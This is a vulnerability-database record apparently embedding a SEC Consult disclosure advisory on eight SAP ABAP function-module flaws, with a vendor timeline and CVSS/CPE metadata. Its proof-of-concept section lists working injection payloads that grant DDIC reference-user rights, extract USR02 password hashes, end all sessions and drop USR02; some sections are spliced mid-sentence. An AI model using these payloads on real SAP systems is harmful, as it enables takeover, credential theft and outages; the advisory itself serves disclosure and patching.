var-202012-0380
Vulnerability from variot
SAP AS ABAP (SAP Landscape Transformation), versions - 2011_1_620, 2011_1_640, 2011_1_700, 2011_1_710, 2011_1_730, 2011_1_731, 2011_1_752, 2020 and SAP S4 HANA (SAP Landscape Transformation), versions - 101, 102, 103, 104, 105, allows a high privileged user to execute a RFC function module to which access should be restricted, however due to missing authorization an attacker can get access to some sensitive internal information of vulnerable SAP system or to make vulnerable SAP systems completely unavailable. SEC Consult Vulnerability Lab Security Advisory < 20220518-0 >
title: Multiple Critical Vulnerabilities
product: SAP® Application Server
ABAP and ABAP® Platform (Different Software Components)
vulnerable version: see section "Vulnerable / tested versions" fixed version: see SAP security notes 2958563, 2973735, 2993132, 2986980, 2999854, 3002517, 3048657 CVE number: CVE-2020-6318, CVE-2020-26808, CVE-2020-26832, CVE-2021-21465, CVE-2021-21468, CVE-2021-21466, CVE-2021-21473, CVE-2021-33678 impact: critical homepage: https://www.sap.com found: 08/2020 - 02/2021 by: Fabian Hagg (Office Vienna) Alexander Meier (Office Berlin) SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
"SAP is a market share leader in enterprise resource planning (ERP), analytics, supply chain management, human capital management, master data management, data integration as well as in experience management" [1]. Customers comprise 92% of the Forbes Global 2000 companies and 98% of the 100 most valued brands. 77% of the world’s transaction revenue touches an SAP system [1, 2].
"SAP NetWeaver Application Server for ABAP (AS ABAP) is a platform on which important business processes run. It provides a complete development and runtime environment for ABAP-based applications. The purpose of AS ABAP is to provide programmers with an efficient means of expressing business logic and relieve them from the necessity of platform-related and purely technical coding. AS ABAP is therefore a basis for all ABAP systems" [3].
"The [successor] ABAP platform provides a reliable and scalable server and programming environment for modern ABAP development [...]. The ABAP platform offers support for SAP HANA and SAP Fiori and allows developers to efficiently build enterprise software that meets the requirements of their business scenarios – on-premise as well as in the cloud" [4].
[1] https://www.sap.com/about/company.html [2] https://www.sap.com/documents/2017/04/4666ecdd-b67c-0010-82c7-eda71 af511fa.html [3] https://help.sap.com/viewer/ff18034f08af4d7bb33894c2047c3b71/7.52.5/ en-US/797de8aa42e24916953c4bb3d983662d.html [4] https://developers.sap.com/topics/abap-platform.html
Business recommendation:
By exploiting the vulnerabilities documented in this advisory, privileged attackers can take complete control of affected application servers. Thus, successful exploitation can enable fraud, sabotage or data theft while affecting confidentiality, integrity, and availability of business data.
SEC Consult recommends to implement security notes 2958563, 2973735, 2993132, 2986980, 2999854, 3002517, 3048657 where the documented issues are fixed according to the vendor. We advise installing the corrections as a matter of priority to keep business-critical data secured.
Vulnerability overview/description:
Advanced Business Application Programming (ABAP)® is a proprietary programming language by SAP SE. In common with every other programming language, ABAP can be susceptible to software vulnerabilities ranging from missing or improper authorization checks to inadequate input validation and output sanitization. Of particular concern are injection vulnerabilities, which can jeopardize the overall system security.
Remote Function Call (RFC) is a proprietary network protocol by SAP SE. Comparable to application programming interfaces (APIs), SAP systems come with thousands of built-in function modules implemented in ABAP. RFC allows remote-enabled functions to be accessed via the network. This makes it possible to decentralize business applications even across system boundaries. External programs and external clients can make use of RFC connections to interact with an SAP system via libraries (e.g. NW RFC SDK) provisioned by SAP SE.
This advisory covers multiple critical vulnerabilities discovered in the ABAP® coding of standard function modules. These are part of different software components that build upon the bedrock products SAP® Application Server ABAP and ABAP® Platform.
1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver (ABAP Server) and ABAP Platform
Function modules RSDU_LIST_DB_TABLE_SYB and RSDU_LIST_DB_TABLE_DB4
of function groups RSDU_UTIL_SYB and RSDU_CORE_UTIL_DB4 are vulnerable
to ABAP code injection bugs allowing to execute arbitrary ABAP
code. Successful exploitation leads to full system compromise.
2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP and S/4 HANA (DMIS)
Function module CNV_MBT_SEL_STRING_RETURN of function group
CNV_MBT_SEL is vulnerable to an ABAP code injection bug allowing to
embed arbitrary code into the ABAP Repository. An attacker can abuse
this bug by invoking the function remotely via the RFC protocol.
Successful exploitation leads to full system compromise. An attacker can abuse this bug by invoking
the function remotely via the RFC protocol. Successful exploitation
allows to retrieve internal information and to make a targeted SAP
system completely unavailable to its intended users. The latter
is to be considered as a Denial of Service (DoS) attack.
4) [CVE-2021-21468] Missing Authorization Check in SAP Business Warehouse (Database Interface)
Function module RSDL_DB_GET_DATA_BWS of function group RSDL does
not perform any programmatically implemented authorization check.
An attacker can abuse this bug by invoking the function remotely
via the RFC protocol. Successful exploitation allows to read out
the entire database including cross-client data access.
5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP Business Warehouse (Database Interface)
Function module RSDL_DB_GET_DATA_BWS of function group RSDL is
vulnerable to a native SQL injection (ADBC) bug allowing to execute
arbitrary SQL commands at database level. An attacker can abuse
this bug by invoking the function remotely via the RFC protocol.
Successful exploitation leads to full system compromise.
6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business Warehouse and SAP BW/4HANA
Function module RSDRI_DF_TEXT_READ of function group RSDRI_DF_FACADE
is vulnerable to an ABAP code injection bug allowing to embed
arbitrary code into the ABAP Repository. An attacker can abuse this
bug by invoking the function remotely via the RFC protocol. Successful
exploitation leads to full system compromise.
7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP and ABAP Platform
Function module SRM_RFC_SUBMIT_REPORT of function group SRM_REP does not
enforce proper authorization checks for critical use of a dynamic program
call. An attacker can abuse this bug by invoking the function remotely
via the RFC protocol. Successful exploitation allows an attacker to
execute existing ABAP reports without holding sufficient authorizations.
8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP (Reconciliation Framework)
Function module CONVERT_FROM_CHAR_SORT_RFW of function group FG_RFW contains
a code injection vulnerability with a limited exploitation primitive. An
attacker can abuse this bug to delete critical system tables (e.g. USR02),
making the targeted SAP system completely unavailable to its intended users.
Proof of concept:
1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver (ABAP Server) and ABAP Platform
The vulnerable functions make use of the GENERATE SUBROUTINE POOL
instruction by providing source code that is created dynamically
using untrusted user input. As there is no input validation or
output sanitization, an attacker can inject malicious ABAP code
through specific import parameters. This code gets executed on the
fly by the application server in the course of execution of the
functions.
The following payload exploits the bug to escalate privileges via
reference user assignment:
Import Parameter: I_TABLNM
Value: USR02
Import Table: I_T_SELECT_FIELDS
╒═══════════════════════════════════════════════════════════════╕
│ RSD_FIELDNM │
╞═══════════════════════════════════════════════════════════════╡
│ BNAME │
╘═══════════════════════════════════════════════════════════════╛
Import Table: I_T_WHERE_COND
╒═══════════╤══════╤════════════════════════════════════════════╕
│ FIELDNM │ OP │ LOW │
╞═══════════╪══════╪════════════════════════════════════════════╡
│ BNAME │ EQ │ S'ENDEXEC. EXEC SQL.UPDATE USREFUS SET │
│ │ │ REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER │
╘═══════════╧══════╧════════════════════════════════════════════╛
2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP and S/4 HANA (DMIS)
The vulnerable function makes use of the INSERT REPORT instruction
by providing source code that is created dynamically using untrusted
user input. As there is no input validation or output sanitization,
an attacker can inject malicious ABAP code through specific import
parameters. Inserted code may be executed by chaining this bug with
CVE-2021-21473.
The following payload exploits the bug to escalate privileges via
reference user assignment:
Import Parameter: TABNAME
Value: USR02
Import Table: IMT_SELSTRING
╒══════════════════════════════════════════════════════════════╕
│ LINE │
╞══════════════════════════════════════════════════════════════╡
│ BNAME = 'TEST'. ENDSELECT. Depending on a specific import parameter, the function leaks
active logon sessions (opcode 02) or terminates all active logon
sessions (opcode 25) by kernel call 'ThUsrInfo'. Invoking the function
periodically prevents users from logging into the application server.
The following payload exploits the bug to trigger the information
disclosure and enumerate active user sessions:
Import Parameter: MODE
Value: 1
The following payload exploits the bug to terminate all active user
sessions:
Import Parameter: MODE
Value: 2
4) [CVE-2021-21468] Missing Authorization Check in SAP Business Warehouse (Database Interface)
The vulnerable function does not perform any explicit authorization
check. It uses predefined classes and methods from the ABAP Database
Connectivity (ADBC) framework to execute native SQL queries at database
level. Depending on specific import parameters, this allows to read out
arbitrary table data including user master records or secure storages
(e.g. RSECTAB).
The following payload exploits the bug to exfiltrate user password
hashes:
Import Table: I_S_TABSEL
╒══════════════════════════════════════════════════════════════╕
│ NAME │
╞══════════════════════════════════════════════════════════════╡
│ USR02 │
╘══════════════════════════════════════════════════════════════╛
Import Table: I_S_DBCON
╒══════════════════════════════════════════════════════════════╕
│ CON_NAME │
╞══════════════════════════════════════════════════════════════╡
│ <Database Connection String> (e.g. DEFAULT) │
╘══════════════════════════════════════════════════════════════╛
Import Table: I_T_DBFIELDS
╒═══════════════╤═════════╤════════════════════════════════════╕
│ NAME │ TYPE │ LENGTH │
╞═══════════════╪═════════╪════════════════════════════════════╡
│ BNAME │ CHAR255 │ 000255 │
├───────────────┼─────────┼────────────────────────────────────┤
│ PWDSALTEDHASH │ CHAR255 │ 000255 │
╘══════════════════════════════════════════════════════════════╛
5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP Business Warehouse (Database Interface)
The vulnerable function does not perform any input validation or
output sanitization on import parameters that can be used to define
conditional SQL statements. This allows to inject arbitrary SQL
commands that get executed natively at database level in the course
of execution of the function.
The following payload exploits the bug to escalate privileges via
reference user assignment:
Import Table: I_S_TABSEL
╒══════════════════════════════════════════════════════════════╕
│ NAME │
╞══════════════════════════════════════════════════════════════╡
│ USR02 │
╘══════════════════════════════════════════════════════════════╛
Import Table: I_S_DBCON
╒══════════════════════════════════════════════════════════════╕
│ CON_NAME │
╞══════════════════════════════════════════════════════════════╡
│ <Database Connection String> (e.g. DEFAULT) │
╘══════════════════════════════════════════════════════════════╛
Import Table: I_T_DBFIELDS
╒═══════════════╤═════════╤════════════════════════════════════╕
│ NAME │ TYPE │ LENGTH │
╞═══════════════╪═════════╪════════════════════════════════════╡
│ BNAME │ CHAR255 │ 000255 │
╘══════════════════════════════════════════════════════════════╛
Import Table: I_T_SELECT
╒══════════════════════╤════════╤══════════════════════════════╕
│ FIELDNM │ OPTION │LOW │
╞══════════════════════╪════════╪══════════════════════════════╡
│ BNAME │ EQ │'';UPDATE USREFUS SET REFUSER │
│ │ │='DDIC' WHERE '1 │
├──────────────────────┼────────┼──────────────────────────────┤
│ ' = '1 AND' AND BNAME│ EQ │'ATTACKER'; │
╘══════════════════════════════════════════════════════════════╛
6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business Warehouse and SAP BW/4HANA
The vulnerable function makes use of the INSERT REPORT instruction
by providing source code that is created dynamically using untrusted
user input. As there is no input validation or output sanitization,
an attacker can inject malicious ABAP code through specific import
parameters. Inserted code may be executed by chaining this bug with
CVE-2021-21473.
The following payload exploits the bug to escalate privileges via
reference user assignment:
Import Parameter: I_TABLE_NAME
Value: INJECTION
Import Parameter: I_DEBUG_SUFFIX
Value: SAP
Import Table: I_T_RANGE_STRING
╒═══════════╤═════════════════════════════════════╤════════════╕
│ CHANM │ LOW │ HIGH │
╞═══════════╪═════════════════════════════════════╪════════════╡
│ BNAME │ '. UPDATE USREFUS SET REFUSER │ '. EXIT. " │
│ │ = 'DDIC' WHERE BNAME = 'ATTACKER │ │
╘═══════════╧═════════════════════════════════════╧════════════╛
7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP and ABAP Platform
The vulnerable function uses a dynamically generated program name (based
on data from untrusted sources) in a SUBMIT call. No authorization checks
are programmatically enforced. Thus, a remote, unauthorized attacker can
leverage this function to start any existing ABAP report by providing the
respective report name in the import parameter REPORTNAME.
8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP (Reconciliation Framework)
The vulnerable function makes use of the GENERATE SUBROUTINE POOL instruction
in form 'get_dynamic_fields' by providing source code that is created
dynamically using untrusted user input. As there is no input validation or
output sanitization, an attacker can inject malicious ABAP code through specific
import parameters. These parameters are limited in size due to their variable
type. This restricts an attacker in exploitation scenarios. However, it is still
possible, for example, to delete critical system tables by exploiting this bug.
The following payload exploits the bug to drop table USR02, leading to a complete
loss of availability of the target system:
Import Parameter: RTABNAME
Value: X. EXEC SQL. DROP TABLE USR02-
Import Parameter: RFIELDNAME
Value: ENDEXEC
Vulnerable / tested versions:
All tests were conducted on SAP NetWeaver Application Server ABAP 752 SP04 and ABAP Platform 1909. No additional testing on other releases has been carried out. All identified vulnerabilities have been fixed by now by SAP and SEC Consult releases this security advisory adhering to the responsible disclosure policy.
CVE-2020-6318
2020-08-12 | Contacting vendor with detailed report through vulnerability submission web form. 2020-08-13 | Vendor confirms receipt and assigns security incident number #2080354772. 2020-08-19 | Vendor confirms vulnerability. 2020-08-24 | Vendor informs about patch development strategy. 2020-09-07 | Vendor informs about release of the patch, registration of CVE number and corresponding security note. 2020-09-08 | Vendor releases patch with SAP Security Note 2958563.
CVE-2020-26808
2020-09-24 | Contacting vendor with detailed report through vulnerability submission web form. 2020-09-25 | Vendor confirms receipt and assigns security incident number #2070354293. 2020-10-20 | Contacting vendor to request progress information. 2020-10-21 | Vendor confirms vulnerability and states that a fix is in development. 2020-11-09 | Vendor informs about release of the patch, registration of CVE number and corresponding security note. 2020-11-10 | Vendor releases patch with SAP Security Note 2973735.
CVE-2020-26832
2020-10-23 | Contacting vendor with detailed report through vulnerability submission web form. 2020-10-26 | Vendor confirms receipt and assigns security incident number #2070432866. 2020-11-17 | Vendor confirms vulnerability and proposes CVSS score of 7.6. 2020-11-23 | Vendor asks for exploit script shown in the initial report. 2020-11-24 | Providing the requested script via encrypted PGP mail. 2020-12-07 | Vendor informs about release of the patch, registration of CVE number and corresponding security note. 2020-12-08 | Vendor releases patch with SAP Security Note 2993132.
CVE-2021-21465 / CVE-2021-21468
2020-10-27 | Contacting vendor with detailed report through vulnerability submission web form. 2020-10-29 | Vendor confirms receipt and assigns separated security incident numbers #2070446047 and #2070446050. 2020-11-06 | Vendor confirms vulnerability and predicts patches to be released on December Patch Tuesday 2020. 2020-11-18 | Vendor confirms that they are still on track for December Patch Tuesday 2020. 2020-12-01 | Vendor informs that patch needs to be postponed to January Patch Tuesday 2021. 2021-01-08 | Vendor informs about release of patches and clarifies that a single security note will fix both issues. Additional information about CVSS scores is provided. 2021-01-11 | Vendor informs about release of the patches, registration of CVE numbers and corresponding security note. 2021-01-12 | Vendor releases patches with SAP Security Note 2986980.
CVE-2021-21466 / CVE-2021-21473
2020-11-25 | Contacting vendor with detailed report through vulnerability submission web form. 2020-11-27 | Vendor confirms receipt and assigns security incident number #2080396648. 2021-01-04 | Vendor confirms vulnerability and states that they are working on a fix. Additional information is provided detailing on that they will split the reported finding into two separated security issues and security incident numbers #2080396648 and #2080412695. 2021-01-11 | Vendor informs about release of the first patch, registration of CVE number and corresponding security note. 2021-01-11 | Vendor informs about patch release for the first issue. Additional information is provided describing that a patch for the second issue is still in development. 2021-01-12 | Vendor releases first patch with SAP Security Note 2999854. 2021-05-07 | Asking vendor for update regarding the second issue. 2021-05-11 | Vendor informs that fix is in progress and note will be released soon. 2021-06-07 | Vendor informs about release of the second patch, registration of CVE number and corresponding security note. 2021-06-08 | Vendor releases second patch with SAP Security Note 3002517.
CVE-2021-33678
2021-02-01 | Contacting vendor with detailed report through vulnerability submission web form. 2021-02-03 | Vendor confirms receipt and assigns security incident number #2180074995. 2021-05-07 | Asking vendor for update. 2021-05-11 | Vendor informs that fix is in progress. 2021-07-12 | Vendor informs about release of the patch, registration of CVE number and corresponding security note. 2021-07-13 | Vendor releases patch with SAP Security Note 3048657.
Solution:
SAP SE reacted promptly to our findings. Product Security Incident Response Team (PSRT) and engineers released patches in a timely manner for each of the reported issues. These patches are available in form of SAP Security Notes which can be accessed via the SAP Customer Launchpad [5]. More information can also be found at the Official SAP Product Security Response Space [6].
The following Security Notes need to be implemented:
2958563, 2973735, 2993132, 2986980, 2999854, 3002517, 3048657
[5] https://launchpad.support.sap.com/#/securitynotes [6] https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day
Workaround:
None
Advisory URL:
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult, an Atos company Europe | Asia | North America
About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult
EOF F. Hagg, A. Meier / @2022
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202012-0380",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "netweaver as abap",
"scope": "eq",
"trust": 1.8,
"vendor": "sap",
"version": "2011_1_731"
},
{
"model": "netweaver as abap",
"scope": "eq",
"trust": 1.8,
"vendor": "sap",
"version": "2011_1_730"
},
{
"model": "netweaver as abap",
"scope": "eq",
"trust": 1.8,
"vendor": "sap",
"version": "2011_1_752"
},
{
"model": "netweaver as abap",
"scope": "eq",
"trust": 1.8,
"vendor": "sap",
"version": "2020"
},
{
"model": "netweaver as abap",
"scope": "eq",
"trust": 1.8,
"vendor": "sap",
"version": "2011_1_640"
},
{
"model": "netweaver as abap",
"scope": "eq",
"trust": 1.8,
"vendor": "sap",
"version": "2011_1_700"
},
{
"model": "netweaver as abap",
"scope": "eq",
"trust": 1.8,
"vendor": "sap",
"version": "2011_1_710"
},
{
"model": "netweaver as abap",
"scope": "eq",
"trust": 1.8,
"vendor": "sap",
"version": "2011_1_620"
},
{
"model": "s\\/4 hana",
"scope": "eq",
"trust": 1.0,
"vendor": "sap",
"version": "104"
},
{
"model": "s\\/4 hana",
"scope": "eq",
"trust": 1.0,
"vendor": "sap",
"version": "102"
},
{
"model": "s\\/4 hana",
"scope": "eq",
"trust": 1.0,
"vendor": "sap",
"version": "103"
},
{
"model": "s\\/4 hana",
"scope": "eq",
"trust": 1.0,
"vendor": "sap",
"version": "105"
},
{
"model": "s\\/4 hana",
"scope": "eq",
"trust": 1.0,
"vendor": "sap",
"version": "101"
},
{
"model": "s/4 hana",
"scope": null,
"trust": 0.8,
"vendor": "sap",
"version": null
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2020-014085"
},
{
"db": "NVD",
"id": "CVE-2020-26832"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:sap:s\\/4_hana:102:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:s\\/4_hana:103:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:s\\/4_hana:104:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:s\\/4_hana:105:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:netweaver_as_abap:2011_1_640:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:netweaver_as_abap:2011_1_700:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:netweaver_as_abap:2011_1_710:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:s\\/4_hana:101:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:netweaver_as_abap:2011_1_730:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:netweaver_as_abap:2011_1_731:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:netweaver_as_abap:2011_1_752:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:netweaver_as_abap:2020:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sap:netweaver_as_abap:2011_1_620:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2020-26832"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Fabian Hagg",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202012-571"
}
],
"trust": 0.6
},
"cve": "CVE-2020-26832",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "NVD",
"availabilityImpact": "COMPLETE",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.0,
"id": "CVE-2020-26832",
"impactScore": 7.8,
"integrityImpact": "NONE",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "HIGH",
"trust": 1.9,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "NVD",
"availabilityImpact": "HIGH",
"baseScore": 7.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"exploitabilityScore": 2.3,
"id": "CVE-2020-26832",
"impactScore": 4.7,
"integrityImpact": "NONE",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 7.6,
"baseSeverity": "High",
"confidentialityImpact": "Low",
"exploitabilityScore": null,
"id": "CVE-2020-26832",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "High",
"scope": "Changed",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2020-26832",
"trust": 1.8,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-202012-571",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2020-26832",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2020-26832"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-014085"
},
{
"db": "CNNVD",
"id": "CNNVD-202012-571"
},
{
"db": "NVD",
"id": "CVE-2020-26832"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "SAP AS ABAP (SAP Landscape Transformation), versions - 2011_1_620, 2011_1_640, 2011_1_700, 2011_1_710, 2011_1_730, 2011_1_731, 2011_1_752, 2020 and SAP S4 HANA (SAP Landscape Transformation), versions - 101, 102, 103, 104, 105, allows a high privileged user to execute a RFC function module to which access should be restricted, however due to missing authorization an attacker can get access to some sensitive internal information of vulnerable SAP system or to make vulnerable SAP systems completely unavailable. SEC Consult Vulnerability Lab Security Advisory \u003c 20220518-0 \u003e\n=======================================================================\n title: Multiple Critical Vulnerabilities\n product: SAP\u00ae Application Server\n ABAP and ABAP\u00ae Platform (Different Software Components)\n vulnerable version: see section \"Vulnerable / tested versions\"\n fixed version: see SAP security notes 2958563, 2973735,\n 2993132, 2986980, 2999854, 3002517, 3048657\n CVE number: CVE-2020-6318, CVE-2020-26808, CVE-2020-26832,\n CVE-2021-21465, CVE-2021-21468, CVE-2021-21466,\n CVE-2021-21473, CVE-2021-33678\n impact: critical\n homepage: https://www.sap.com\n found: 08/2020 - 02/2021\n by: Fabian Hagg (Office Vienna)\n Alexander Meier (Office Berlin)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos company\n Europe | Asia | North America\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"SAP is a market share leader in enterprise resource planning (ERP),\nanalytics, supply chain management, human capital management, master\ndata management, data integration as well as in experience management\"\n[1]. Customers comprise 92% of the Forbes Global 2000 companies and\n98% of the 100 most valued brands. 77% of the world\u2019s transaction revenue\ntouches an SAP system [1, 2]. \n\n\"SAP NetWeaver Application Server for ABAP (AS ABAP) is a platform on\nwhich important business processes run. It provides a complete development\nand runtime environment for ABAP-based applications. The purpose of AS ABAP\nis to provide programmers with an efficient means of expressing business\nlogic and relieve them from the necessity of platform-related and purely\ntechnical coding. AS ABAP is therefore a basis for all ABAP systems\" [3]. \n\n\"The [successor] ABAP platform provides a reliable and scalable server\nand programming environment for modern ABAP development [...]. The ABAP\nplatform offers support for SAP HANA and SAP Fiori and allows developers\nto efficiently build enterprise software that meets the requirements of\ntheir business scenarios \u2013 on-premise as well as in the cloud\" [4]. \n\n[1] https://www.sap.com/about/company.html\n[2] https://www.sap.com/documents/2017/04/4666ecdd-b67c-0010-82c7-eda71\n af511fa.html\n[3] https://help.sap.com/viewer/ff18034f08af4d7bb33894c2047c3b71/7.52.5/\n en-US/797de8aa42e24916953c4bb3d983662d.html\n[4] https://developers.sap.com/topics/abap-platform.html\n\n\nBusiness recommendation:\n------------------------\nBy exploiting the vulnerabilities documented in this advisory, privileged\nattackers can take complete control of affected application servers. Thus,\nsuccessful exploitation can enable fraud, sabotage or data theft while\naffecting confidentiality, integrity, and availability of business data. \n\nSEC Consult recommends to implement security notes 2958563, 2973735,\n2993132, 2986980, 2999854, 3002517, 3048657 where the documented issues\nare fixed according to the vendor. We advise installing the corrections\nas a matter of priority to keep business-critical data secured. \n\n\nVulnerability overview/description:\n-----------------------------------\nAdvanced Business Application Programming (ABAP)\u00ae is a proprietary\nprogramming language by SAP SE. In common with every other programming\nlanguage, ABAP can be susceptible to software 